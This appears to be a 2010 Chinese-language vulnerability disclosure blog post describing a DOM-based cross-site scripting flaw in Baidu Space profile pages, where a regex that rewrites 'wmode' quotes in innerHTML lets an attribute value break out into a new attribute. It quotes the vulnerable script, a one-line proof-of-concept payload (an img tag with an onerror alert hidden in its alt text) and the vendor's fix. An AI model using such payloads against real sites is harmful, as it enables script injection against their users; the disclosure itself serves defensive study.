hi.baidu profile Dom-Xss Bug

Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
date: 2010年5月12日

一 综述

百度空间的一段Javascript Dom操作函数在操作DOM时考虑不周,导致可以通过构造一段特殊的HTML代码,使该函数对其进行DOM操作,重新渲染页面,最终导致XSS漏洞。

二 分析

在http://hi.baidu.com/p__z/profile 代码:

(function(){
    var m_aboutme   = document.getElementById("m_aboutme"),
        isIE        = /*@cc_on!@*/false,
        …
            try{
                if(m_aboutme.getElementsByTagName("embed").length > 0) { //如果在个人简介中存在embed标签
                    //替换个人简介中的wmode为transparent
                    m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=(‘|")(window|opaque)?\1/ig,’wmode="transparent"’);
                }
            }catch(e){}       
        };
       
        if(isIE){
            window.attachEvent("onload", onload);
        }else{
            window.addEventListener("load", onload, false);
        }                                                       
    })();

注意m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=(‘|")(window|opaque)?\1/ig,’wmode="transparent"’);要被替换的是wmode=(‘|")…,而进行替换的是wmode="transparent".这里替换的前后存在一个单引号和双引号的差异,正是因为这种前后标准的不统一的存在,导致了跨站脚本的执行.

假设一个HTML标签为<a id="wmode=’window’ foo=’bar’">,属性和值为{id : wmode=’window’ anything}被JS进行DOM操作后变为<a id="wmode="transparent" foo=’bar’">,属性和值为{id:wmode=,transparent: ,foo:bar}.如此一来,我们成功地把原来在值中的一串字符串转换到了HTML标签中的属性和对应的值.这将引起不必要的安全隐患.

三 利用

POC :

<embed …></embed><img border="0" alt="wmode=’window’ onerror=alert(/sobb03/) // " class="blogimg" small="0" src=#>

四 补丁[fix]

等待官方补丁

update 2010年5月13日

m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=(‘|")(window|opaque)?\1/ig,’wmode="transparent"’);
改为了:
m_aboutme.innerHTML =  m_aboutme.innerHTML.replace(/wmode=(‘|")(window|opaque)?\1/ig,function(all,a){
return ‘wmode=’+a+’transparent’+a;

发表评论?

0 条评论。

发表评论